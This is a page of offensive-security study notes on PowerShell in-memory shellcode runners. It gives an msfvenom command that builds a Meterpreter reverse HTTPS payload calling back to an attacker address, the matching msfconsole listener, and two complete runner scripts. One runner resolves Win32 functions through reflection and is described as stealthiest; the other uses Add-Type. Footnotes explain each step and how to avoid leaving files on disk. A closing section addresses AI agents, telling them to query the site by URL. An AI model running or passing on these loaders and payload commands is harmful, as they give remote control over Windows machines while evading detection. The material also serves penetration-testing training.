# Powershell rev.ps1

## Powershell In-memory Shellcode Runner

<pre data-title="shellcode to embed in .ps1:" data-overflow="wrap" data-full-width="true"><code><strong><a data-footnote-ref href="#user-content-fn-1">msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f ps1</a>
</strong></code></pre>

{% code title="listener:" %}

```bash
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
```

{% endcode %}

### Reflection Shellcode Runner without Add-Type[^2] (stealthiest)

<pre class="language-powershell" data-title="rev.ps1" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-powershell">function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      <a data-footnote-ref href="#user-content-fn-3">Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')</a>
    $tmp=@()
    <a data-footnote-ref href="#user-content-fn-4">$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}</a>
	<a data-footnote-ref href="#user-content-fn-5">return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))</a>
}

function getDelegateType {

	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
		[Parameter(Position = 1)] [Type] $delType = [Void]
	)

	$type = [AppDomain]::CurrentDomain.
    <a data-footnote-ref href="#user-content-fn-6">DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), </a>
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    <a data-footnote-ref href="#user-content-fn-7">DefineConstructor</a>('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    <a data-footnote-ref href="#user-content-fn-8">DefineMethod</a>('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

	return $type.<a data-footnote-ref href="#user-content-fn-9">CreateType</a>()
}

<a data-footnote-ref href="#user-content-fn-10">$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)</a>

<a data-footnote-ref href="#user-content-fn-11">[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...</a>

<a data-footnote-ref href="#user-content-fn-12">[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)</a>

<a data-footnote-ref href="#user-content-fn-13">$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)</a>

<a data-footnote-ref href="#user-content-fn-14">[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)</a>
</code></pre>

### Directly Calling Win32 API with .NET (less stealth)

{% hint style="info" %}
`Add-Type` uses the .NET framework to compile the C# code containing Win32 API declarations; leaving temporary `.csc` file on disk
{% endhint %}

<pre class="language-vba" data-title="rev.ps1" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-vba">$Kernel32 = <a data-footnote-ref href="#user-content-fn-15">@"</a>
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    <a data-footnote-ref href="#user-content-fn-16">public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);</a>

    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    <a data-footnote-ref href="#user-content-fn-17">public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);</a>

    [DllImport("kernel32.dll", SetLastError=true)]
    <a data-footnote-ref href="#user-content-fn-14">public static extern UInt32 WaitForSingleObject(IntPtr hHandle,</a> 
        UInt32 dwMilliseconds);
}
<a data-footnote-ref href="#user-content-fn-15">"@</a>
<a data-footnote-ref href="#user-content-fn-2">Add-Type</a> $Kernel32

<a data-footnote-ref href="#user-content-fn-11">[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60...</a>
<strong>
</strong>$size = $buf.Length

<a data-footnote-ref href="#user-content-fn-16">[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);</a>

<a data-footnote-ref href="#user-content-fn-18">[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)</a>

<a data-footnote-ref href="#user-content-fn-17">$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);</a>
[<a data-footnote-ref href="#user-content-fn-19">Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")</a>
</code></pre>

[^1]: `[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89…`

[^2]: `Add-Type` uses the .NET framework to compile the C# code containing Win32 API declarations; leaving temporary `.csc` file on disk

[^3]: Using `GetType` to obtain a reference to the `System.dll` assembly at runtime is an example of the Reflection technique.

    This is a very powerful feature that allows us to dynamically obtain references to objects that are otherwise private or internal.

[^4]: `GetMethods` for `GetProcAddress` bc there is multiple instances

[^5]: Use this technique once again with the `GetMethod` function to obtain a reference to the internal `GetModuleHandle` method&#x20;

[^6]: creates the custom assembly and defines the module and type inside of it

[^7]: sets up the constructor

[^8]: sets up the invoke method

[^9]: the constructor is invoked and the delegate type is returned to the callerthe constructor is invoked and the delegate type is returned to the caller

[^10]: resolving and calling VirtualAlloc through reflection (allocate memory)

[^11]: `msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f ps1`

[^12]: copy shellcode bytes to allocated memory using .NET Copy method instead of P/Invoke Win32 API

[^13]: resolving and calling CreateThread through reflection (execution)

[^14]: pause the script from ending and allow meterpreter to finish

[^15]: @" "@ to declare text block

[^16]: allocate memory

[^17]: execution

[^18]: copy shellcode bytes to allocated memory with .NET Copy method instead of P/Invoke Win32 API

[^19]: pause the script from ending and allow meterpreter finish


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://osnotes.jackielam.net/osep/attack/client-side-code-execution/powershell-rev.ps1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
